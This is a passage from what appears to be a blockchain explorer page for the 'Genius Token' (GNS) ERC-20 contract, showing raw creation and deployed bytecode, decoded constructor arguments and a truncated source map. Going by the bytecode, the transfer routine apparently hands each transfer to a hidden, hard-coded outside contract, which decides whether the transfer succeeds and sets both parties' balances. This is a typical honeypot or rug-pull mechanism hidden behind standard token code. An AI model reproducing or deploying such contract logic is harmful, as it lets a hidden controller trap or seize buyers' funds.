13e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061145e8261113b565b91506114698361113b565b925082820390508181111561148157611480611424565b5b92915050565b60006114928261113b565b915061149d8361113b565b92508282019050808211156114b5576114b4611424565b5b92915050565b60006040820190506114d060008301856112c8565b6114dd60208301846112c8565b9392505050565b6000815190506114f38161110f565b92915050565b60006020828403121561150f5761150e6110d8565b5b600061151d848285016114e4565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611582602583611031565b915061158d82611526565b604082019050919050565b600060208201905081810360008301526115b181611575565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611614602683611031565b915061161f826115b8565b604082019050919050565b6000602082019050818103600083015261164381611607565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116a6602483611031565b91506116b18261164a565b604082019050919050565b600060208201905081810360008301526116d581611699565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611738602283611031565b9150611743826116dc565b604082019050919050565b600060208201905081810360008301526117678161172b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006117ca602583611031565b91506117d58261176e565b604082019050919050565b600060208201905081810360008301526117f9816117bd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061185c602383611031565b915061186782611800565b604082019050919050565b6000602082019050818103600083015261188b8161184f565b9050919050565b60006080820190506118a760008301876112c8565b6118b460208301866112c8565b6118c160408301856111e7565b6118ce60608301846111e7565b95945050505050565b6118e0816111b1565b81146118eb57600080fd5b50565b6000815190506118fd816118d7565b92915050565b60008151905061191281611145565b92915050565b600080600060608486031215611931576119306110d8565b5b600061193f868287016118ee565b935050602061195086828701611903565b925050604061196186828701611903565b9150509250925092565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a1602083611031565b91506119ac8261196b565b602082019050919050565b600060208201905081810360008301526119d081611994565b905091905056fea2646970667358221220d998e0445bf18298521bcf6e0082fde2367dd7d7a042b9fe07470e5d41b9ee6964736f6c6343000812003300000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000c47656e69757320546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003474e530000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a457c2d711610059578063a457c2d714610303578063a9059cbb14610340578063dd62ed3e1461037d578063f2fde38b146103ba576100f3565b8063715018a61461026d5780638da5cb5b1461028457806395d89b41146102af5780639ccb0744146102da576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806339509351146101f357806370a0823114610230576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103e3565b60405161011a91906110b6565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611171565b610475565b60405161015791906111cc565b60405180910390f35b34801561016c57600080fd5b50610175610493565b60405161018291906111f6565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611211565b61049d565b6040516101bf91906111cc565b60405180910390f35b3480156101d457600080fd5b506101dd61059e565b6040516101ea9190611280565b60405180910390f35b3480156101ff57600080fd5b5061021a60048036038101906102159190611171565b6105a7565b60405161022791906111cc565b60405180910390f35b34801561023c57600080fd5b506102576004803603810190610252919061129b565b610653565b60405161026491906111f6565b60405180910390f35b34801561027957600080fd5b5061028261069c565b005b34801561029057600080fd5b506102996106b0565b6040516102a691906112d7565b60405180910390f35b3480156102bb57600080fd5b506102c46106d9565b6040516102d191906110b6565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc919061129b565b61076b565b005b34801561030f57600080fd5b5061032a60048036038101906103259190611171565b610809565b60405161033791906111cc565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190611171565b6108fd565b60405161037491906111cc565b60405180910390f35b34801561038957600080fd5b506103a4600480360381019061039f91906112f2565b61091b565b6040516103b191906111f6565b60405180910390f35b3480156103c657600080fd5b506103e160048036038101906103dc919061129b565b6109a2565b005b6060600380546103f290611361565b80601f016020809104026020016040519081016040528092919081815260200182805461041e90611361565b801561046b5780601f106104405761010080835404028352916020019161046b565b820191906000526020600020905b81548152906001019060200180831161044e57829003601f168201915b5050505050905090565b6000610489610482610a25565b8484610a2d565b6001905092915050565b6000600554905090565b60006104aa848484610bf6565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104f5610a25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056c90611404565b60405180910390fd5b61059285610581610a25565b858461058d9190611453565b610a2d565b60019150509392505050565b60006012905090565b60006106496105b4610a25565b8484600460006105c2610a25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106449190611487565b610a2d565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a4610edf565b6106ae6000610f5d565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546106e890611361565b80601f016020809104026020016040519081016040528092919081815260200182805461071490611361565b80156107615780601f1061073657610100808354040283529160200191610761565b820191906000526020600020905b81548152906001019060200180831161074457829003601f168201915b5050505050905090565b610773610edf565b8073ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b81526004016107c29291906114bb565b6020604051808303816000875af11580156107e1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080591906114f9565b5050565b60008060046000610818610a25565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc90611598565b60405180910390fd5b6108f26108e0610a25565b8585846108ed9190611453565b610a2d565b600191505092915050565b600061091161090a610a25565b8484610bf6565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109aa610edf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a109061162a565b60405180910390fd5b610a2281610f5d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a93906116bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b029061174e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610be991906111f6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c906117e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccb90611872565b60405180910390fd5b610cdf838383611021565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000806000731608d0a61dfa1981a2db39e8c067705bcfee77d273ffffffffffffffffffffffffffffffffffffffff1663dd6b8cdc888888886040518563ffffffff1660e01b8152600401610d7b9493929190611892565b606060405180830381865afa158015610d98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbc9190611918565b92509250925082610dcc57600080fd5b8184610dd89190611453565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e6a9190611487565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610ece91906111f6565b60405180910390a350505050505050565b610ee7610a25565b73ffffffffffffffffffffffffffffffffffffffff16610f056106b0565b73ffffffffffffffffffffffffffffffffffffffff1614610f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f52906119b7565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611060578082015181840152602081019050611045565b60008484015250505050565b6000601f19601f8301169050919050565b600061108882611026565b6110928185611031565b93506110a2818560208601611042565b6110ab8161106c565b840191505092915050565b600060208201905081810360008301526110d0818461107d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611108826110dd565b9050919050565b611118816110fd565b811461112357600080fd5b50565b6000813590506111358161110f565b92915050565b6000819050919050565b61114e8161113b565b811461115957600080fd5b50565b60008135905061116b81611145565b92915050565b60008060408385031215611188576111876110d8565b5b600061119685828601611126565b92505060206111a78582860161115c565b9150509250929050565b60008115159050919050565b6111c6816111b1565b82525050565b60006020820190506111e160008301846111bd565b92915050565b6111f08161113b565b82525050565b600060208201905061120b60008301846111e7565b92915050565b60008060006060848603121561122a576112296110d8565b5b600061123886828701611126565b935050602061124986828701611126565b925050604061125a8682870161115c565b9150509250925092565b600060ff82169050919050565b61127a81611264565b82525050565b60006020820190506112956000830184611271565b92915050565b6000602082840312156112b1576112b06110d8565b5b60006112bf84828501611126565b91505092915050565b6112d1816110fd565b82525050565b60006020820190506112ec60008301846112c8565b92915050565b60008060408385031215611309576113086110d8565b5b600061131785828601611126565b925050602061132885828601611126565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061137957607f821691505b60208210810361138c5761138b611332565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006113ee602883611031565b91506113f982611392565b604082019050919050565b6000602082019050818103600083015261141d816113e1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061145e8261113b565b91506114698361113b565b925082820390508181111561148157611480611424565b5b92915050565b60006114928261113b565b915061149d8361113b565b92508282019050808211156114b5576114b4611424565b5b92915050565b60006040820190506114d060008301856112c8565b6114dd60208301846112c8565b9392505050565b6000815190506114f38161110f565b92915050565b60006020828403121561150f5761150e6110d8565b5b600061151d848285016114e4565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611582602583611031565b915061158d82611526565b604082019050919050565b600060208201905081810360008301526115b181611575565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611614602683611031565b915061161f826115b8565b604082019050919050565b6000602082019050818103600083015261164381611607565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116a6602483611031565b91506116b18261164a565b604082019050919050565b600060208201905081810360008301526116d581611699565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611738602283611031565b9150611743826116dc565b604082019050919050565b600060208201905081810360008301526117678161172b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006117ca602583611031565b91506117d58261176e565b604082019050919050565b600060208201905081810360008301526117f9816117bd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061185c602383611031565b915061186782611800565b604082019050919050565b6000602082019050818103600083015261188b8161184f565b9050919050565b60006080820190506118a760008301876112c8565b6118b460208301866112c8565b6118c160408301856111e7565b6118ce60608301846111e7565b95945050505050565b6118e0816111b1565b81146118eb57600080fd5b50565b6000815190506118fd816118d7565b92915050565b60008151905061191281611145565b92915050565b600080600060608486031215611931576119306110d8565b5b600061193f868287016118ee565b935050602061195086828701611903565b925050604061196186828701611903565b9150509250925092565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a1602083611031565b91506119ac8261196b565b602082019050919050565b600060208201905081810360008301526119d081611994565b905091905056fea2646970667358221220d998e0445bf18298521bcf6e0082fde2367dd7d7a042b9fe07470e5d41b9ee6964736f6c63430008120033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000c47656e69757320546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003474e530000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Genius Token
Arg [1] : symbol_ (string): GNS
-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [3] : 47656e69757320546f6b656e0000000000000000000000000000000000000000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [5] : 474e530000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
12423:7531:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13887:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13995:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12870:109;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14389:489;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12769:93;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14886:290;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13651:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11390:103;;;;;;;;;;;;;:::i;:::-;;11574:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13400:104;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17921:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18336:443;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12561:200;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16917:176;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10099:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13887:100;13941:13;13974:5;13967:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13887:100;:::o;13995:194::-;14103:4;14120:39;14129:12;:10;:12::i;:::-;14143:7;14152:6;14120:8;:39::i;:::-;14177:4;14170:11;;13995:194;;;;:::o;12870:109::-;12931:7;12958:13;;12951:20;;12870:109;:::o;14389:489::-;14529:4;14546:36;14556:6;14564:9;14575:6;14546:9;:36::i;:::-;14593:24;14620:11;:19;14632:6;14620:19;;;;;;;;;;;;;;;:33;14640:12;:10;:12::i;:::-;14620:33;;;;;;;;;;;;;;;;14593:60;;14706:6;14686:16;:26;;14664:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;14791:57;14800:6;14808:12;:10;:12::i;:::-;14841:6;14822:16;:25;;;;:::i;:::-;14791:8;:57::i;:::-;14866:4;14859:11;;;14389:489;;;;;:::o;12769:93::-;12827:5;12852:2;12845:9;;12769:93;:::o;14886:290::-;14999:4;15016:130;15039:12;:10;:12::i;:::-;15066:7;15125:10;15088:11;:25;15100:12;:10;:12::i;:::-;15088:25;;;;;;;;;;;;;;;:34;15114:7;15088:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;15016:8;:130::i;:::-;15164:4;15157:11;;14886:290;;;;:::o;13651:145::-;13741:7;13768:9;:18;13778:7;13768:18;;;;;;;;;;;;;;;;13761:25;;13651:145;;;:::o;11390:103::-;9911:13;:11;:13::i;:::-;11455:30:::1;11482:1;11455:18;:30::i;:::-;11390:103::o:0;11574:87::-;11620:7;11647:6;;;;;;;;;;;11640:13;;11574:87;:::o;13400:104::-;13456:13;13489:7;13482:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13400:104;:::o;17921:206::-;9911:13;:11;:13::i;:::-;18005:6:::1;17987:36;;;18046:4;18066:42;17987:132;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;17921:206:::0;:::o;18336:443::-;18454:4;18471:24;18498:11;:25;18510:12;:10;:12::i;:::-;18498:25;;;;;;;;;;;;;;;:34;18524:7;18498:34;;;;;;;;;;;;;;;;18471:61;;18587:15;18567:16;:35;;18545:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;18680:67;18689:12;:10;:12::i;:::-;18703:7;18731:15;18712:16;:34;;;;:::i;:::-;18680:8;:67::i;:::-;18767:4;18760:11;;;18336:443;;;;:::o;12561:200::-;12672:4;12689:42;12699:12;:10;:12::i;:::-;12713:9;12724:6;12689:9;:42::i;:::-;12749:4;12742:11;;12561:200;;;;:::o;16917:176::-;17031:7;17058:11;:18;17070:5;17058:18;;;;;;;;;;;;;;;:27;17077:7;17058:27;;;;;;;;;;;;;;;;17051:34;;16917:176;;;;:::o;10099:238::-;9911:13;:11;:13::i;:::-;10222:1:::1;10202:22;;:8;:22;;::::0;10180:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;10301:28;10320:8;10301:18;:28::i;:::-;10099:238:::0;:::o;4023:98::-;4076:7;4103:10;4096:17;;4023:98;:::o;16367:384::-;16520:1;16503:19;;:5;:19;;;16495:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16603:1;16584:21;;:7;:21;;;16576:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16687:6;16657:11;:18;16669:5;16657:18;;;;;;;;;;;;;;;:27;16676:7;16657:27;;;;;;;;;;;;;;;:36;;;;16727:7;16711:32;;16720:5;16711:32;;;16736:6;16711:32;;;;;;:::i;:::-;;;;;;;;16367:384;;;:::o;17138:775::-;17296:1;17278:20;;:6;:20;;;17270:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;17380:1;17359:23;;:9;:23;;;17351:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;17435:47;17456:6;17464:9;17475:6;17435:20;:47::i;:::-;17493:21;17517:9;:17;17527:6;17517:17;;;;;;;;;;;;;;;;17493:41;;17548:10;17560:14;17576;17627:42;17594:95;;;17690:6;17698:9;17709:6;17717:13;17594:137;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17547:184;;;;;;17750:5;17742:14;;;;;;17805:6;17789:13;:22;;;;:::i;:::-;17769:9;:17;17779:6;17769:17;;;;;;;;;;;;;;;:42;;;;17846:6;17822:9;:20;17832:9;17822:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;17887:9;17870:35;;17879:6;17870:35;;;17898:6;17870:35;;;;;;:::i;:::-;;;;;;;;17259:654;;;;17138:775;;;:::o;10446:132::-;10521:12;:10;:12::i;:::-;10510:23;;:7;:5;:7::i;:::-;:23;;;10502:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10446:132::o;10855:191::-;10929:16;10948:6;;;;;;;;;;;10929:25;;10974:8;10965:6;;:17;;;;;;;;;;;;;;;;;;11029:8;10998:40;;11019:8;10998:40;;;;;;;;;;;;10918:128;10855:191;:::o;16234:125::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:227::-;6672:34;6668:1;6660:6;6656:14;6649:58;6741:10;6736:2;6728:6;6724:15;6717:35;6532:227;:::o;6765:366::-;6907:3;6928:67;6992:2;6987:3;6928:67;:::i;:::-;6921:74;;7004:93;7093:3;7004:93;:::i;:::-;7122:2;7117:3;7113:12;7106:19;;6765:366;;;:::o;7137:419::-;7303:4;7341:2;7330:9;7326:18;7318:26;;7390:9;7384:4;7380:20;7376:1;7365:9;7361:17;7354:47;7418:131;7544:4;7418:131;:::i;:::-;7410:139;;7137:419;;;:::o;7562:180::-;7610:77;7607:1;7600:88;7707:4;7704:1;7697:15;7731:4;7728:1;7721:15;7748:194;7788:4;7808:20;7826:1;7808:20;:::i;:::-;7803:25;;7842:20;7860:1;7842:20;:::i;:::-;7837:25;;7886:1;7883;7879:9;7871:17;;7910:1;7904:4;7901:11;7898:37;;;7915:18;;:::i;:::-;7898:37;7748:194;;;;:::o;7948:191::-;7988:3;8007:20;8025:1;8007:20;:::i;:::-;8002:25;;8041:20;8059:1;8041:20;:::i;:::-;8036:25;;8084:1;8081;8077:9;8070:16;;8105:3;8102:1;8099:10;8096:36;;;8112:18;;:::i;:::-;8096:36;7948:191;;;;:::o;8145:332::-;8266:4;8304:2;8293:9;8289:18;8281:26;;8317:71;8385:1;8374:9;8370:17;8361:6;8317:71;:::i;:::-;8398:72;8466:2;8455:9;8451:18;8442:6;8398:72;:::i;:::-;8145:332;;;;;:::o;8483:143::-;8540:5;8571:6;8565:13;8556:22;;8587:33;8614:5;8587:33;:::i;:::-;8483:143;;;;:::o;8632:351::-;8702:6;8751:2;8739:9;8730:7;8726:23;8722:32;8719:119;;;8757:79;;:::i;:::-;8719:119;8877:1;8902:64;8958:7;8949:6;8938:9;8934:22;8902:64;:::i;:::-;8892:74;;8848:128;8632:351;;;;:::o;8989:224::-;9129:34;9125:1;9117:6;9113:14;9106:58;9198:7;9193:2;9185:6;9181:15;9174:32;8989:224;:::o;9219:366::-;9361:3;9382:67;9446:2;9441:3;9382:67;:::i;:::-;9375:74;;9458:93;9547:3;9458:93;:::i;:::-;9576:2;9571:3;9567:12;9560:19